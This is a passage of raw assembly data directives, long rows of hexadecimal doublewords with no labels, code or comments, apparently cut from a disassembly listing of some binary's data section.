		dd 23CE1700h, 0E5B0B53Ch, 11EEEE74h, 98829D5Ah,	242676FAh
		dd 0BF576239h, 529F745Dh, 5C93E545h, 80C173E2h,	453B9C3Ch
		dd 7B61BAA7h, 2AA75FF0h, 9FF017F0h, 2CF15212h, 0C4BE0B17h
		dd 103EB8D0h, 5C0D1423h, 0D4373968h, 3EE14407h,	61C32AEAh
		dd 5B6FE90Fh, 87A0223Eh, 85425323h, 5069B2EAh, 8802C65Ch
		dd 0E935EC62h, 267E55DCh, 0F90915A4h, 4A436377h, 1ECCF038h
		dd 0AC6D6681h, 120C0718h, 7217E0B9h, 7B0C2F9Dh,	4ECBB353h
		dd 0FD8CEE59h, 0E654B75Bh, 5F630CBBh, 126C8658h, 162DA0Dh
		dd 3970C3F4h, 4BE13ABBh, 1F24987Eh, 0E7E9544Fh,	620BBEE1h
		dd 3D2E0F0Bh, 6842E1C1h, 45887E71h, 6A2C1F3Ah, 5D7F4B09h
		dd 5E167344h, 6EA8B021h, 4FDEA304h, 80ACEBF2h, 0BFEC0B73h
		dd 0ABF47FE5h, 0C35ADDC9h, 190B8025h, 0BB2F41E6h, 162813h
		dd 0E283AB0Bh, 43B4F7E3h, 1A86E910h, 0EB12814Fh, 65A0E99Ah
		dd 74E92FD5h, 0B95EF7D4h, 77E9097Ch, 0A4DB778Fh, 0E962684Ah
		dd 4E89582Ah, 5F86E057h, 0E0EFC13Eh, 7DF875EAh,	2E5B00Eh
		dd 8A45727h, 0DC814858h, 0D68B0BAFh, 0DBE9D0A1h, 51660159h
		dd 0AFD8341h, 367784A7h, 127EFD66h, 6F8AEB91h, 0AF0ADC12h
		dd 618F4DE2h, 81CFA313h, 0B31002BAh, 0EEAB220h,	3E5C2754h
		dd 73EBF2C1h, 0A9199C0Bh, 0C3F260Ch, 0EE661636h, 39F3C7A5h
		dd 548D8382h, 0A103CABh, 19972C76h, 0BD2F0DEh, 0CA7D016Ah
		dd 0D785426Dh, 43CB73D0h, 933C55Dh, 94D6026Dh, 0FFC78342h
		dd 76972FA0h, 0F4B63DFCh, 0B87AE683h, 66640E68h, 40737E1Bh
		dd 5DB9C123h, 95B63864h, 4A07F33Ch, 465AC71Fh, 7279D819h
		dd 200FB040h, 0C12C6DC6h, 0CE0B99EBh, 9B2D48CBh, 69523751h
		dd 0FE11574h, 0D4E393Eh, 0B9480A30h, 0C6179BD9h, 0DDDBF009h
		dd 0EE50E078h, 304EE908h, 28FA8084h, 562768C6h,	0A5DC714Fh
		dd 2860395Eh, 903CEF5Ah, 2957002Dh, 0F7011463h,	4D4C0DE9h
		dd 550BDE73h, 81359CEh,	2D028ECDh, 40721A39h, 0A205C848h
		dd 0EB41FD07h, 0AEBF45C1h, 0D3486688h, 811D0412h, 2E74E770h
		dd 41251152h, 62D85792h, 1315992Ah, 6BA0B142h, 0E983ADCBh
		dd 6102E5D2h, 0B46D5FEAh, 7B28F774h, 0BD550708h, 3661EFF0h
		dd 0C1E9EA29h, 30E5AEE0h, 5E337409h, 51E0506Fh,	4849F32Dh
		dd 1859F2B7h, 0C1C5A3Ch, 32201553h, 0A0D31E58h,	0B0E0EF87h
		dd 759DFD89h, 25C23F1Bh, 67CF85C6h, 5EFE8554h, 0C7A98357h
		dd 0C516F380h, 9509257Bh, 0D80FDF14h, 0DE071C02h, 0F0899394h
		dd 0FF25E99Ch, 0CDBB6863h, 80E85908h, 0F869E304h, 5950EA36h
		dd 0B8500008h, 10ED5E91h, 0C72F4AE9h, 0E3288D71h, 42BBF1DCh
		dd 300C085Fh, 8D6F1437h, 38209C1Bh, 56555A27h, 613D0A42h
		dd 273C1CE1h, 500514DFh, 0BD87855Ch, 4CB37D3h, 0B7098685h
		dd 8477CB8Bh, 0BDEC3B2Eh, 0E5F4FE92h, 0C994D4Bh, 1044D52Ch
		dd 0B2A34F5Fh, 3FE3B74Eh, 2B927FE9h, 1BB05004h,	0DBE851B3h
		dd 0EEEE4A7Eh, 0B55BC6DCh, 682025C5h, 2F084595h, 92909B7Dh
		dd 0BF87A1Ch, 0E555F659h, 0EB35A07Dh, 909C294Eh, 0C6D34844h
		dd 60041F04h, 96F3807Eh
		dd 4E4FCC75h, 0C600ECB9h, 30A9B77Dh, 0E988F301h, 0C8165A11h
		dd 0DA8333E8h, 0A3845D46h, 0C0F3EB56h, 0D6CFB3A4h, 0A52AB21h
		dd 2618A039h, 60CED9CCh, 24E0514Bh, 167964A6h, 0C9CBF58h
		dd 0E36C0D88h, 0E96E2910h, 40A5404h, 0FF014766h, 680BEFCAh
		dd 1E557D79h, 8B5B4BB6h, 30292457h, 16426887h, 0EC8126E4h
		dd 613A8B0Eh, 1984D0h, 950CC368h, 0B82B77A5h, 89B093D5h
		dd 1262260Eh, 82A810h, 40B20806h, 840FD435h, 2DFCE7B0h
		dd 7A25DF0Fh, 3303B32Ah, 0C42E98AFh, 0B44A4DBCh, 0FCB4ED89h
		dd 479079BEh, 3952F540h, 7577C688h, 0ECEE4F5Ah,	61AF5AF8h
		dd 5105EC12h, 0C219868Bh, 0C54071FFh, 2E6F8057h, 3EEDDE4Bh
		dd 0EA8B04EAh, 0C40ABC6Fh, 8CBB27D2h, 681251A7h, 7E8907EFh
		dd 0E9B1D82Bh, 0AAA4A26h, 906C488h, 0F7D0665Bh,	0DCDDBBA1h
		dd 7E05CD81h, 0B303E937h, 5FEFB047h, 26475F09h,	0E14FB2Dh
		dd 0B3B7D5E9h, 21B20752h, 0D007B704h, 0B1B353A3h, 4D2DD828h
		dd 3CF837C9h, 0EDC55B4Fh, 33257F80h, 6829E419h,	60874C7h
		dd 9F73EAE9h, 999701B0h, 0AFFC0A9Ch, 2FDD95C4h,	11AC0B72h
		dd 0B63FF785h, 7C7B7E91h, 0B669A097h, 950ED83Ch, 88260DAh
		dd 0AF5AC809h, 15FDFC97h, 881FA222h, 0CEB441EFh, 0F465EC80h
		dd 7292125Ch, 4E1AD548h, 0F8BB9794h, 5043A1C7h,	3B40BFADh
		dd 0BBC55BB4h, 970BDEB1h, 13E576F3h, 0B010E828h, 4830C2B6h
		dd 832088C6h, 0A63CBB05h, 5AABCBAh, 4B3D78AAh, 42DC0295h
		dd 0D9F456C7h, 0D83006D1h, 9FA301DCh, 0A2942CECh, 9F6E5951h
		dd 81BA4F09h, 2C1AE92Fh, 7B5E3B6Dh, 0B027BA9Ch,	26751FC8h
		dd 9B4B7Eh, 0BB144BBh, 0F0BAD6F7h, 7CA33C02h, 57A89FE9h
		dd 30C5807Ch, 98EC8824h, 563E6812h, 0E99CFE54h,	40EC60A2h
		dd 67BE5BFh, 8CB97402h,	55E42DFCh, 92BA7007h, 8EC05098h
		dd 0E0A9355Bh, 30572ADAh, 30AC08ECh, 0B4BE6C96h, 8CBC7005h
		dd 6CB931A9h, 0C7800229h, 60FD304Eh, 0B1F42178h, 0E55F9B66h
		dd 20F3EE1h, 6596FCBAh,	4E1654BFh, 127EF31h, 4B1096CDh
		dd 0AF2BC5B1h, 11308D70h, 0E92F0973h, 7349D680h, 3CDE60F5h
		dd 0B4D02976h, 31580D08h, 0C9ED69CDh, 50B80B2Ah, 88054016h
		dd 3BD868D3h, 0DECFD3B8h, 0E446F48Bh, 7FB15B5Fh, 0E9A09768h
		dd 399437C6h, 186765EFh, 20CBBCF8h, 8FE70D70h, 0CFC9FAAh
		dd 28A0C657h, 7DF1FEF9h, 19B627CDh, 161CCC22h, 684BA4FDh
		dd 30B1F1FAh, 0CB40D58Eh, 5C5C9459h, 0A5225697h, 0B509B7DAh
		dd 0A906EA34h, 0DB7D63DCh, 56EED4D0h, 0C2214096h, 6BE3319Dh
		dd 993A38B0h, 232BE62h,	0CE26B2E5h, 0DE82572Ch,	8240CA5Dh
		dd 0B4943B79h, 1E695AADh, 5F6D6850h, 2D588FD4h,	6A3503F8h
		dd 0C2AB17D6h, 0CA5FEA6Ah, 0FBC4D5E5h, 59DA8BB7h, 0B609BCE0h
		dd 1A02E529h, 0D955CEDBh, 1B504958h, 8D0DC407h,	0FCEB8B6Ah
		dd 0ECD75AB2h, 500505C2h, 0F1E0E7FDh, 460E20D4h, 6275A54Dh
		dd 475190Eh, 0BE9AE5Ch,	1C40F84Eh, 4C9D80C3h, 0AF0C98BEh
		dd 257551Ah, 0D46E0468h, 74C05F70h, 0AA327763h,	96B5A10h
		dd 59D37Dh, 1923FC05h, 0B134E93Eh, 8E04655Ch, 0A8BBCEEEh
		dd 0C06D3985h, 0C2F49D2Dh, 0ADAD002Dh, 2C7A5E64h, 2540F031h
		dd 34D2EC7Fh, 0AFFA2034h, 81C0E1BDh, 8726ECEBh,	10AB224Ah
		dd 582F083Fh, 0ADCBB08Ah, 17619657h, 4121F3E9h,	2B59191Dh
		dd 0EBC33412h, 0EDD4A618h, 2F5128C4h, 0F4F26BCDh, 50E90880h
		dd 849D755Bh, 0D93F93ECh, 3A054654h, 0F3815400h, 2F6AD35h
		dd 0D845B938h, 3075CB14h, 13B2E793h, 9031852Dh,	805F1CA5h
		dd 0F6577033h, 884DB067h, 381B2FE9h, 0D4DAFC6h,	33317DD0h
		dd 0F7299264h, 0BF3175DCh, 0F9AAA2A7h, 79AE855Bh, 5E3CE96Fh
		dd 8A5B171Dh, 2C4F7FCBh, 16095CAFh, 0B00BFE6Bh,	5F8E24EAh
		dd 0E8CD70E1h, 0ABB53CCh, 254D3B95h, 36081883h,	0C525D62Bh
		dd 0BAD1C307h, 0D01A57B7h, 88297B41h, 260221C7h, 0D95B1EB4h
		dd 3FF99EF1h, 139CDCE7h, 0D82EBF1Bh, 0C8578427h, 25630C1Dh
		dd 0E7C1649Ch, 5641CF01h, 0DFC7A0Bh, 0B68AFAA4h, 284C3610h
		dd 5D4AB553h, 0CB3A06B1h, 2E4A7F39h, 48E9B816h,	0A7D86E85h
		dd 2F44028h, 0BD86C5BFh, 958233A0h, 5B5209F7h, 1D6805AAh
		dd 0C461AE73h, 6602F35Ah, 21612F8h, 65B87627h, 4C740889h
		dd 44C47925h, 0EB3AF7Fh, 7A0F0905h, 70F2FF3Fh, 0EBB21C9h
		dd 0EA2C5A20h, 0B3015A35h, 16910010h, 0A6BE497Dh, 0EF38045Dh
		dd 0B48FA9E9h, 0ED5B8AA8h, 99F67A2h, 32DFF564h,	1BE41F1h
		dd 0C9D977C2h, 4C8B20EBh, 903F9068h, 15920948h,	3D0F1465h
		dd 0B92D0EF0h, 0E61496Fh, 41BF40B9h, 1327A44Bh,	0A3627468h
		dd 0BA530244h, 0FE0144E6h, 3C9C60D0h, 5F267BBh,	245F06A1h
		dd 1C01358Bh, 0E92AA85Eh, 0F66B84E1h, 0E0465086h, 20851431h
		dd 52035FB6h, 34E0C9B7h, 3090C2FEh, 4B474C3Fh, 27DB9AEFh
		dd 0B8464082h, 0AC4E26AEh, 6FD10BDEh, 0B751FBD4h, 0D18B17A5h
		dd 680767DBh, 570941B9h, 43C26F59h, 0C7570945h,	9D618183h
		dd 2B4E70E9h, 55E44C8Dh, 946911Bh, 88542C5h, 0CE40BFF3h
		dd 695B6751h, 50F87601h, 24E908B9h, 8352B69Bh, 56DD3279h
		dd 0CAE90EABh, 4B47E867h, 221D2D27h, 0E12FD9Dh,	0FE1D0BB3h
		dd 1774C1A9h, 9D07CF70h, 57B50E20h, 21243A76h, 555970D9h
		dd 5F783A83h, 0F6E83B14h, 0A2096702h, 78E3E945h, 4D547692h
		dd 5A01BE25h, 0FB407435h, 0C6C13B59h, 0E050B123h, 260292F3h
		dd 2D1B0FD9h, 0D97DB742h, 0DC14630Ah, 0F7CE3500h, 0C155FE39h
		dd 253BB8E6h, 0B25F2DFCh, 9492FD05h, 0A7097B77h, 84B0B27Dh
		dd 28AEA303h, 71B754BCh, 1CB0EB26h, 43B41F7Bh, 0D8AD9049h
		dd 0DFF7800Ah, 90F24771h, 0B897164Ah, 2D930804h, 0A0BAE9D8h
		dd 841B743Ah, 7A71EAD7h, 0E87EFE65h, 11C7C64Fh,	9CFD9510h
		dd 9C00FDCBh, 0FE69F7E9h, 74BE7D3Eh, 2AC0DB95h,	51E50BEBh
		dd 0F757D5Dh, 0A065A0Ch, 3942A50Ah, 62AC0787h, 75EA41D7h
		dd 0F4DD78D5h, 10E94FAh, 7CE37F05h, 0AF166F8Ah,	0B897B8E2h
		dd 7D35F2F1h, 47C4642Bh, 4E688C88h, 3FE28180h, 1DB3AE8h
		dd 2971BABAh, 360C8239h, 0F7310969h, 0FD4D8282h, 450DF6C8h
		dd 815E1B38h, 7FB22D40h, 0BE207E5Fh, 0FEBA7252h, 876A019Ah
		dd 0E8E94DEAh, 0C9462C4Bh, 0D9DB7DCFh, 5A92FC0Ch, 35809E45h
		dd 0D12AE34h, 0AEF458BDh, 0BD52D988h, 0FFC98145h, 5B71E790h
		dd 0E4FD2587h, 9914B3Dh, 0A9DFBB70h, 3A507F5Eh,	5EA9CB4Dh
		dd 0E982CCE7h, 4EC4DD6Ah, 0E87B6820h, 3E69525Ch, 980ED404h
		dd 33C6FE2Eh, 0EDC509FBh, 3E609114h, 0A62D056Eh, 91820957h
		dd 0F7FEEEB4h, 0F24BF798h, 0C9DEF99Fh, 0B3738282h, 87DA2900h
		dd 285A4CD3h, 7BFE5706h, 0E92516B5h, 6667D3Fh, 0D35106CBh
		dd 0AAA6CE2Bh, 0F4BF34F7h, 0D572508h, 0A26F474Eh, 3C9458C2h
		dd 4E99A7F1h, 0D9B02021h, 8E2D682Ah, 9694A2F4h,	95EF8001h
		dd 3CD3285Ah, 0C782260Ch, 0BBC4E9E3h, 0F3369C55h, 0FD84003Ch
		dd 35B2EBFEh, 12B45F7Ah, 6D53A48Eh, 434002F4h, 2F295858h
		dd 8F25A02Eh, 1CE59B2Ch, 0A0D9570Eh, 0E20BC1AEh, 0E105C23Eh
		dd 847E906h, 5DEE9354h,	0E9F01B9Ch, 3A9D0AD9h, 8E9F6AE3h
		dd 0EE134EF2h, 6889C6A6h, 0EC09A87Eh, 0E9307C73h, 1423B055h
		dd 685F808Ch, 0CCE4674Fh, 0BFEF4BE5h, 0C24558Ah, 98D112CAh
		dd 0FE652623h, 0C9BB2145h
		dd 0E7809D41h, 0E7505860h, 9729B471h, 21C6C0E6h, 0CBB75AD0h
		dd 49C39297h, 0F03E7727h, 7D04AD88h, 4C315B89h,	2FD5B2FAh
		dd 24828C29h, 0B1441E9Eh, 6409DF0Eh, 3B096F68h,	323069FFh
		dd 962A5A8h, 23E357Bh, 0D386E4FDh, 7ECBFAD0h, 4D6FE909h
		dd 0DA7A8B10h, 7B1C7D97h, 366D950Ah, 7E00F844h,	0F71759DAh
		dd 0E9550CD1h, 0EA396150h, 902675F0h, 1A009B06h, 0E999B43Ch
		dd 7363E12Bh, 3CD2D64Bh, 9401E327h, 4AB826A7h, 0E2F74B5Dh
		dd 1AC5DF5Dh, 21FBAB89h, 58E70869h, 0F9018A20h,	0AD2B29CDh
		dd 50920553h, 9001462Ah, 0C065D61h, 1797E3D8h, 0EC6D3564h
		dd 3AEB269Eh, 8E86F1Fh,	70AC1B09h, 0C460F5F3h, 413FBEDh
		dd 670B0BDEh, 589E31C5h, 9FA408E8h, 0EA2D0EA5h,	6B5DC449h
		dd 2788BF54h, 3680A37Dh, 5D122FFCh, 3E19F700h, 78975A29h
		dd 0FF2875CAh, 0ECD9B8FEh, 51469455h, 0C3C56AB4h, 7DA3B6EAh
		dd 0DA57C227h, 0FAB40025h, 80ADB753h, 4997C8CFh, 0FCC03A61h
		dd 39CCF65Bh, 28FBFE4Bh, 0B5A515C4h, 0FBBB2780h, 7D4F955Bh
		dd 1433EFA4h, 953C7E01h, 0DE97960Bh, 77B1DD82h,	0ADBD8ADBh
		dd 295E81F4h, 0DB6052CEh, 8A1D1F5Eh, 42F5004Ch,	0F1E94A7Bh
		dd 0B91C9AB4h, 0D14C6228h, 51095EAAh, 0EF1A5F41h, 4443CEC0h
		dd 214E9405h, 17BA5FF9h, 0DE60EB7Ch, 26B4DDE9h,	3B140A1Fh
		dd 0EC890B97h, 49CBD29Ch, 0B8BB7F30h, 362C7C3Ch, 6225EE49h
		dd 0A4EBFC46h, 8D670422h, 0DC94FB11h, 0CDE90803h, 2A657664h
		dd 6889372h, 8E7EACCFh,	1052E12h, 31A85180h, 0BA9AC5EFh
		dd 54936EE2h, 0D06B16EEh, 0A596655Fh, 43EADBFCh, 0F3CBFF16h
		dd 8224BB96h, 3CA3ECAAh, 0B0D8B950h, 5027A81h, 5F5A3C96h
		dd 4A07F728h, 3062CB58h, 21E9C829h, 2D5FB276h, 36C638B1h
		dd 5147B74Fh, 0FD0B4107h, 0A3AD3A4Fh, 7680BA2Fh, 0B469EED3h
		dd 0EE5713A4h, 4AE07298h, 824E641Fh, 7068106Ah,	0F6059AB1h
		dd 0C0C9FED1h, 63CB941Fh, 0D21BB39Ch, 0AC70F106h, 70042DC9h
		dd 0A057E851h, 0E8071B6h, 82B121EEh, 0CD09F10Bh, 0C9554789h
		dd 0CE3278E9h, 2E52E602h, 7E75481Dh, 4BC41642h,	0F0742961h
		dd 0D215CF02h, 0E149F57Ah, 0E5E67E83h, 2E622A25h, 0C55AD455h
		dd 0AD9AA062h, 34F2D05h, 852126h, 0BA68B500h, 981D6E17h
		dd 0D8C2051h, 6470D0F6h, 0E197749Dh, 0E0772D5Bh, 0E9186C59h
		dd 78317E4Dh, 0A92AE126h, 32A6C62Eh, 79F11DE1h,	29F7C5B0h
		dd 91A1EFCBh, 6D22C2CDh, 12BDEDD3h, 0B5403353h,	18932538h
		dd 5F060BBBh, 3E826317h, 8A574358h, 3502135Ah, 80678977h
		dd 0E24F7C96h, 1A436141h, 0E2592746h, 0E610DDE2h, 46BD58CDh
		dd 5A682D32h, 20BB63D6h, 0FE5B00EFh, 19B551C7h,	973ED80h
		dd 5028E3FAh, 71499854h, 0CCF25AA7h, 814775B5h,	2B7D813Ah
		dd 64A5A867h, 9BE9A447h, 834FDC8Bh, 7CB83308h, 51F4EDD9h
		dd 8A2D93B9h, 0BE0C292Bh, 0FBE88863h, 5CD8FDD4h, 25B398C5h
		dd 6CF7FFE1h, 52B7247Ah, 0D7F19D33h, 8854A0C7h,	0D6F6E61Dh
		dd 5A66F407h, 0ECD0D460h, 0C1872FE9h, 0E0D57CEAh, 0C5451A9Dh
		dd 8B69114Dh, 9BF224D7h, 4B18FAFh, 0E7883D9Eh, 0D59D8402h
		dd 0F7D079A1h, 0D5E48BFEh, 882DF160h, 6617F239h, 73F16EEh
		dd 0D21C16F7h, 1D49065Ah, 0FB6DCD5h, 61E5C7DDh,	0BBCB5A75h
		dd 6856F2FAh, 3BCB282Fh, 0F0CAC380h, 0EBEEC144h, 0D7B5FB5Eh
		dd 0A8F859D7h, 0B2545112h, 5AECA521h, 0EAE97E04h, 0BA31FFBCh
		dd 66705B51h, 0EF5EB637h, 0FB620369h, 17894675h, 0F85F6068h
		dd 0A878C43Eh, 0FA9772ADh, 0ED23438Bh, 0E21FE984h, 0B4BEECAFh
		dd 0E9D9E980h, 3C0097A8h, 0A4CAA22Dh, 0C27C9C7Ch, 0B50B8D4Eh
		dd 0FD3E8929h, 5E5B1060h, 0D14B9CFCh, 2C443E9h,	3E8FCD98h
		dd 0BDED61F0h, 4041F268h, 41CE29CBh, 2C2E018Ch,	4597870Eh
		dd 2D318BB3h, 0B2A5F8D9h, 24717DD3h, 4AE90CCCh,	5A4009CFh
		dd 560282E6h, 4559C568h, 86AAD943h, 0A6DEF74Eh,	3161BA41h
		dd 1D9A5F20h, 9219883Eh, 38F1ABC6h, 0FE7CE1F6h,	0FBF1252Fh
		dd 0E6FC0FCDh, 30BEAD3Fh, 7B7D68B5h, 7E8098B7h,	19702C5Eh
		dd 0D82C0B2Fh, 153F4C79h, 12166538h, 34450AE9h,	0F6EE595Bh
		dd 0B59CE0Fh, 0CA7654D4h, 1AB7267Ch, 10FF45FEh,	34613F0Ch
		dd 0C64F5FE0h, 0EEFC4DAAh, 0CBD9D51Eh, 678B059Fh, 0F0F482E5h
		dd 5E07852Dh, 30B4A3ABh, 0EB896F59h, 0E6214E5Dh, 3AFC4B60h
		dd 4342C725h, 767D191Ah, 0AF9649DFh, 5AD5E927h,	0CBE0920h
		dd 4DDC0D4Ah, 0EF74008h, 0B2E450ACh, 7B01123Bh,	3A291B0Ah
		dd 79D248EDh, 0ECDD254Bh, 4CE92D5Bh, 8477A389h,	0DF82031Ch
		dd 0C982A018h, 0E228226Ah, 0B3D9F941h, 58C4B829h, 0CB2CEA57h
		dd 28F830E9h, 7C4C052Ch, 0F765DD01h, 9D6848D0h,	5558973Eh
		dd 5A5DBFC9h, 6D5360D3h, 0FC2D16FEh, 0BE3C0D28h, 6340D416h
		dd 248D5A9Ch, 35D5E27h,	1E72CE81h, 48FD63B2h, 4CE85315h
		dd 0BC17AE55h, 487E91E7h, 2E440635h, 0C2263A8Eh, 81027720h
		dd 0D878DD31h, 224AF090h, 44458DEFh, 2BB1AA09h,	0C897C32Ah
		dd 19E2BBB4h, 0D17DD284h, 671F3D05h, 62C0407Ch,	0CEBE7528h
		dd 7EE47925h, 67886FA4h, 0C145702Fh, 0BF5752B5h, 2E1F7E2Ch
		dd 0B15C950Ch, 73330ACFh, 195364Ah, 55176F22h, 7648053h
		dd 89616235h, 0AB5A4BD3h, 5DFB7E09h, 266054D9h,	9F0EBD7Ah
		dd 4531D0D0h, 7C04C1B1h, 0A5404423h, 8046B49Bh,	75862EF7h
		dd 2CA0298Fh, 364A83E9h, 59CC24A9h, 0CEBA113Ah,	15A10BFh
		dd 881C90C2h, 2589D308h, 0AE115B0Bh, 7AE3059h, 0C3771460h
		dd 4AAA7898h, 8165055h,	3C885F18h, 242FE959h, 0C7D500F4h
		dd 54D9B926h, 82837F35h, 57467DC1h, 8A78F5D9h, 58024EE7h
		dd 1691485h, 891BCB68h,	79F2E331h, 30408872h, 0F3E78B3Eh
		dd 1CAE59FEh, 5F4A2027h, 0ED5944EFh, 445D0BABh,	0F5E7B03Fh
		dd 7064FE3Bh, 216C1E6h,	0FCE84048h, 5B65C480h, 5801E5ECh
		dd 0E967B252h, 0EF2B27DDh, 12EA5A57h, 0B5EEAC2Ch, 1385CF0h
		dd 88056BF7h, 0D44EF831h, 0A259E24h, 0E7DED86Ah, 83EB150h
		dd 0BF5FFCFAh, 9E5B7DEEh, 5F536082h, 0E1A53217h, 1986FE6Bh
		dd 0DF0ABA68h, 77AFD725h, 8352FEFh, 6ABB3E80h, 70CEE90Ah
		dd 87CB1FC2h, 1515264h,	571C3911h, 0BBF96B36h, 0D0728907h
		dd 7AF3F04Ah, 5F4A9EDBh, 38BECB00h, 90958ADDh, 435ABFF0h
		dd 88B0E916h, 315AFFB3h, 0DF9BE0h, 2E32055Fh, 9CC8526h
		dd 0B344BC9Eh, 4AA25D4Eh, 2BCDAB96h, 37EEDDC3h,	0A2C093E1h
		dd 66551203h, 0D2423BBDh, 168541Ah, 69BE6852h, 415AFD80h
		dd 0EC049781h, 0C44EE94Bh, 0A22BE1E1h, 25CB88BCh, 8E4152F2h
		dd 0DE73FF2Bh, 2CE5F055h, 0B26B5CDDh, 431B1105h, 3C02EA68h
		dd 0D546707Fh, 0FEFE5370h, 4C9B6016h, 44643301h, 0BB3B78BDh
		dd 3C36C041h, 0FC2E10ECh, 0F5F0A7CDh, 2707B169h, 0A78BC2E9h
		dd 5C97EC15h, 0AC4692FBh, 0F85E66F7h, 0F8BABA9Ah, 41B53268h
		dd 0A4A0A417h, 57A8F281h, 0F63AB32Fh, 46C24E9Bh, 0EC5656A2h
		dd 6018E558h, 28EECAE6h, 4B76DC6Ch, 0D1F8BF2h, 0F60E4929h
		dd 0A116DC4Fh, 1F5B5F08h, 0CC06C66h, 0EA79C474h, 13283603h
		dd 0E5C1687Dh, 7EE93242h, 986EFC73h, 3A13A4D2h,	13496E3Fh
		dd 0E9D0721Ch, 0A0631B64h, 0ECF2C7BAh, 31C30BF5h, 0A3E85FFAh
		dd 0E4B7A0C1h, 1D5A5CF7h, 5B84BCB5h, 0B5AAB36h,	797E4B97h
		dd 98F2100h, 4EDA6222h
		dd 0F18255D8h, 105063Ch, 4C56F6AAh, 0D7EE2FBBh,	0F15F5B09h
		dd 9D527A1h, 24E575C3h,	0D5DE640Bh, 0DA2FC6C6h,	5859CC40h
		dd 1C045C51h, 0EA744C26h, 0E90B7A8Ah, 0BBF7B387h, 0FD3FDA20h
		dd 0FE59D685h, 0E9C2BDA6h, 745F7FE1h, 2B4F41C6h, 0E8C06F13h
		dd 580C30D3h, 82767F75h, 0FEB5FD70h, 0A4FE2D02h, 0D6D575Ah
		dd 5B086489h, 0B569F72h, 0EAFE4E98h, 822CD750h,	0E2C996EBh
		dd 0BBF0C3Bh, 4A011083h, 54B88B57h, 53AD84A2h, 0CFA180F0h
		dd 74EC1521h, 9D121598h, 53AFA9F6h, 0FADEFF5Ah,	0EA099A17h
		dd 0E2AEDA24h, 72F86C7h, 2AF07723h, 0CBB97942h,	3D6515Bh
		dd 0ED6B60EDh, 2F2A8414h, 5F14FAD2h, 123CDBD9h,	0E8227337h
		dd 0B4040334h, 0D32CF081h, 448F7D9h, 0A82BC7F5h, 8F657D65h
		dd 67EB5E8Bh, 0F2A1EB6Bh, 6A58E388h, 758071E4h,	96EBEEC3h
		dd 98472DA6h, 0C3FAE909h, 3DD5A941h, 17F5A76Eh,	0DBA58866h
		dd 4AEEA740h, 89125CB5h, 362C905h, 6D30977h, 0ABF60A82h
		dd 2E654E07h, 0FD31C791h, 0B03AEFC9h, 3A2F6815h, 6D319876h
		dd 0E3E70BD2h, 60D5EF81h, 4EF5E9FEh, 0B0B5AC20h, 97676968h
		dd 0E8C20AD9h, 592E545Dh, 2C4325F8h, 9BE4B07h, 0A2FFABBDh
		dd 4056EF84h, 7D01269Eh, 84B64BFDh, 2F43890h, 0F034FF90h
		dd 2BE22F6h, 0CF49A66Ah, 346B43D5h, 80064504h, 9D5D61EEh
		dd 84E9AF13h, 0FF2E60F1h, 2F295E2Dh, 436DEE4Ah,	79E91C89h
		dd 0D595C450h, 1D2E5E9Ch, 5E1DCAEFh, 0C6A01E96h, 0FFF8B55Ah
		dd 0AB2E730Eh, 6BF5C039h, 0F8B5A29Ah, 0F24FEC2h, 0EA01474Eh
		dd 908A8DCh, 3360685Dh,	16B31475h, 237C38E9h, 0B0E8C800h
		dd 0D6F85952h, 30095BBCh, 1AAF83E2h, 0D8C30F2Dh, 96259B04h
		dd 0FFDCD760h, 26917C9h, 0C06E683Fh, 9C3515B9h,	0EC84BD16h
		dd 16B5A22Eh, 0CEAFD021h, 68560480h, 3DAA4E0Dh,	3DFE3ABBh
		dd 66286FE8h, 126225E9h, 0EE9814DAh, 0E8202AB2h, 38CCCC42h
		dd 1F4B9B15h, 0F395B531h, 51558802h, 0FC5B96A9h, 0C260D1B5h
		dd 0D6415968h, 0E9EA6154h, 6922CB91h, 4A42B0A5h, 0C5A3AD61h
		dd 10E8E829h, 0EB0DE480h, 29B4D56h, 1717BF15h, 3EBD87EFh
		dd 0AAF6D505h, 59163062h, 3AEDB973h, 0CBBC8416h, 0E90BA072h
		dd 86DB64E5h, 8EB1EB87h, 0CB52627Bh, 34282274h,	0BC4B6B0Ah
		dd 531EE90Bh, 0E5B62A0h, 0BA669656h, 4AFD8B20h,	22A2885Fh
		dd 2168391h, 340E33FBh,	0FED861EFh, 0F627E8C0h,	1AED8AB7h
		dd 0FFBC7F12h, 0A219BC1h, 2057C543h, 0E4E8DCDCh, 0FE450F30h
		dd 7D9123A9h, 996E9037h, 0D7C81D12h, 6A55A163h,	808F2C11h
		dd 6B7E8568h, 53359C51h, 0BDBBD610h, 0C1930B5Eh, 67359A00h
		dd 0A50A5A0Dh, 0EB9CB4E9h, 0A0BC8392h, 905A8D7h, 5E67B80Eh
		dd 467E844Fh, 0ACA9826Bh, 0B7741455h, 383D075Bh, 3DEE5B28h
		dd 108D2242h, 4A3BC4A0h, 0CCA22812h, 225B82F3h,	0B94F91CAh
		dd 6F3A511Dh, 0E91947BCh, 2BADF780h, 650EAF8Bh,	0D678D160h
		dd 3B2C4980h, 0B8024205h, 5569B221h, 5AF75CA1h,	0E933E02Dh
		dd 22393B2Dh, 0FF05F85Fh, 62950270h, 0A4D957EDh, 17394669h
		dd 685F5457h, 1CB85C03h, 139BA275h, 0DBE4C84Bh,	0A7418297h
		dd 0A3846A44h, 68C23EE9h, 4AC7570Eh, 7049E99Ch,	0F9810BFAh
		dd 28CC082Fh, 6DCFBB01h, 0F530721Ah, 671E779Fh,	0A0CE0C59h
		dd 0BA523598h, 1C754E0Bh, 0D0485D07h, 9F3B2C03h, 0A5E3034Bh
		dd 0E06A4A2Bh, 2D2221F3h, 0C3D04002h, 847EDB97h, 0EA4CC6E9h
		dd 0F620DA3Dh, 0BC255BABh, 0A4EDE093h, 16210F12h, 0A81CC501h
		dd 4879B708h, 0C5C35E69h, 3BD1BBEDh, 7BCEF9E9h,	0EDD18F3Eh
		dd 3FAB06ABh, 0EA2A7550h, 309F55F6h, 97C54D3Ch,	0B716165Fh
		dd 0C2E605F8h, 9EB9E988h, 1C872C12h, 0C7E3C2BDh, 0E1CBFEh
		dd 0D7590230h, 66F62FE8h, 2D6D413Fh, 0E18B683Ch, 276A1D7Dh
		dd 0C5C1826Fh, 807FE479h, 3652B1E2h, 0E579760h,	0F2AF65A1h
		dd 0D8105FFCh, 0CEF15F89h, 4CF680ECh, 5A3BFB4Ch, 0B91EB17h
		dd 83F83323h, 264DE795h, 45928B23h, 0D9427259h,	0A9780B44h
		dd 0BF2D0E86h, 9012C43Eh, 0F4FC415Fh, 0FE48EB10h, 0BA51C4F1h
